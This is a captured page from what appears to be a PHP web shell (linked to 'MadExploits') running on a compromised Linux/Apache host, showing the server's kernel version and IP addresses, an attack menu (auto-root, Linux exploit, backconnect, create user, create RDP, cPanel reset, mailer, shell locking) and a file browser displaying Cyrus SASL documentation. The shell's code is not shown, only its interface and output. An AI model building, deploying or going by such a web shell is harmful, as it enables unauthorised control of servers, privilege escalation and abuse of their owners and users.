Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.148.108.201
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
cyrus-sasl-lib-2.1.26 /
[ HOME SHELL ]
Name
Size
Permission
Action
AUTHORS
1.81
KB
-rw-r--r--
COPYING
1.82
KB
-rw-r--r--
NEWS
20.86
KB
-rw-r--r--
README
835
B
-rw-r--r--
advanced.html
1.69
KB
-rw-r--r--
appconvert.html
4.73
KB
-rw-r--r--
components.html
8.98
KB
-rw-r--r--
gssapi.html
7.59
KB
-rw-r--r--
index.html
5.36
KB
-rw-r--r--
install.html
10.13
KB
-rw-r--r--
macosx.html
11.57
KB
-rw-r--r--
mechanisms.html
7.31
KB
-rw-r--r--
options.html
11.52
KB
-rw-r--r--
plugprog.html
16.16
KB
-rw-r--r--
programming.html
40.72
KB
-rw-r--r--
readme.html
4.65
KB
-rw-r--r--
sysadmin.html
21.85
KB
-rw-r--r--
upgrading.html
4.07
KB
-rw-r--r--
windows.html
6.1
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : advanced.html
<HTML><head> <TITLE>Cyrus SASL Library -- Advanced Usage</TITLE> </head> <body> <h1>Cyrus SASL library, version 2.0</h1> <h2>Notes for Advanced Usage of libsasl</h2> <h3>Using Cyrus SASL as a static library</h3> As of v2.0.2-ALPHA, Cyrus SASL supports the option to compile all of the supported mechanisms and glue code into a single static library that may be linked into any application. In practice, this saves memory by avoiding the need to have a jump table for each process's reference into the shared library, and ensures that all the mechanisms are loaded when the application loads (thus reducing the overhead of loading the DSOs).<P> However, this is not a recommended procedure to use in general. It loses the flexibility of the DSOs that allow one to simply drop in a new mechanism that even currently-running applications will see for each new connection. That is, if you choose to use the static version of the library, not only will you need to recompile the library each time you add a mechanism (provided the mechanisms even support being compiled staticly), but you will need to recompile every application that uses Cyrus SASL as well.<P> However, if you are sure you wish to use a static version of Cyrus SASL, compile it by giving <tt>configure</tt> the <tt>--enable-static</tt> option. This will compile <b>both</b> a dynamic and a static version. Then, whenever an application links to libsasl, it will also need to explicitly pull in any dynamic libraries that may be needed by Cyrus SASL. Most notably, these might include the GSSAPI, Kerberos, and Database libraries. To avoid compiling the dynamic version, pass <tt>--disable-shared</tt>.<P> <hr> Back to the <A href=index.html>index</a> </body>
Close